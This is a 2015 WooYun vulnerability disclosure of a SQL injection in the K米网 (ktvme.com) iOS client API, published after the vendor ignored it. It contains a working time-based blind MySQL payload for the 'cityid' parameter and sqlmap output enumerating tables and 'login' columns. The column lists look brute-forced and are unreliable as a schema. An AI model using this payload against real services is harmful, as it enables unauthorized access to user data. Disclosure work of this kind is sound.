当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-096734

漏洞标题：K米网IOS客户端某处sql注入。

相关厂商：K米网

漏洞作者： im503

提交时间：2015-02-14 17:53

修复时间：2015-03-31 17:54

公开时间：2015-03-31 17:54

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：8

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-02-14： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-03-31： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

挖。没继续跑....

详细说明：

Place: POST
Parameter: cityid
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: cityid=350100' AND SLEEP(5) AND 'wSTi'='wSTi&cityname=%E7%A6%8F%E5
B7%9E&page=1&lon=&lat=
---
[15:06:55] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.9, Nginx
back-end DBMS: MySQL 5.0.11
 [15:06:55] [INFO] fetched data logged to text files under 'C:\Users\Administrat
r\.sqlmap\output\www.ktvme.com'

漏洞证明：

Database: kmQ
[35 tables]
+-------------------------+
| Collection              |
| ConsultantsTable        |
| DEPENDENT               |
| ITEM                    |
| SALGRADE                |
| Domain                  |
| account                 |
| action_element          |
| chart                   |
| chip_layout             |
| form_definition_version |
| form_error              |
| friend                  |
| friend_statuses         |
| items_template          |
| jiveID                  |
| jivePrivacyList         |
| lending                 |
| login                   |
| order_line              |
| organization            |
| part                    |
| person                  |
| phpbb_ranks             |
| product                 |
| property                |
| questions               |
| request                 |
| term                    |
| userSession             |
| vcd_MetaDataTypes       |
| vcd_PornCategories      |
| vcd_PornStudios         |
| watchlist               |
| webcal_view             |
+-------------------------+


Database: kmQ
Table: login
[72 columns]
+---------------------+---------+
| Column              | Type    |
+---------------------+---------+
| account_id          | numeric |
| admin_pass          | numeric |
| adminlogin          | numeric |
| akses               | numeric |
| app_utente_e        | numeric |
| block_id            | numeric |
| brand_id            | numeric |
| bs_setting          | numeric |
| bsu_id              | numeric |
| bvo_id              | numeric |
| cod_dep             | numeric |
| compte              | numeric |
| db_value            | numeric |
| disablepostctrl     | numeric |
| discount_id         | numeric |
| eno                 | numeric |
| fee                 | numeric |
| file5               | numeric |
| ft_id               | numeric |
| gender              | numeric |
| geshi               | numeric |
| grupy               | numeric |
| guy                 | numeric |
| id_attivita         | numeric |
| id_message          | numeric |
| ishtml              | numeric |
| job_title           | numeric |
| logenabled          | numeric |
| login_pass          | numeric |
| losung              | numeric |
| membre              | numeric |
| mo                  | numeric |
| monmotdepasse       | numeric |
| moscode             | numeric |
| mospaging           | numeric |
| mot_de_passe_bdd    | numeric |
| newsfeeds           | numeric |
| o                   | numeric |
| object_sub_class_id | numeric |
| ostdate             | numeric |
| params              | numeric |
| passw               | numeric |
| pingback_id         | numeric |
| plugin_id           | numeric |
| po_id               | numeric |
| prg_movimento       | numeric |
| prih                | numeric |
| product_version     | numeric |
| psw                 | numeric |
| realiz              | numeric |
| search_id           | numeric |
| send                | numeric |
| situacao            | numeric |
| special             | numeric |
| structure_id        | numeric |
| tag_id              | numeric |
| tecla               | numeric |
| temp_password       | numeric |
| temppass            | numeric |
| topicid             | numeric |
| u56fd               | numeric |
| u661f               | numeric |
| u6cf0               | numeric |
| un                  | numeric |
| userinfo_id         | numeric |
| usr_n               | numeric |
| v_id                | numeric |
| vendor_id           | numeric |
| views               | numeric |
| xdecisao            | numeric |
| xequipe             | numeric |
| yahoo               | numeric |
+---------------------+---------+

修复方案：

你懂..

版权声明：转载请注明来源 im503@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝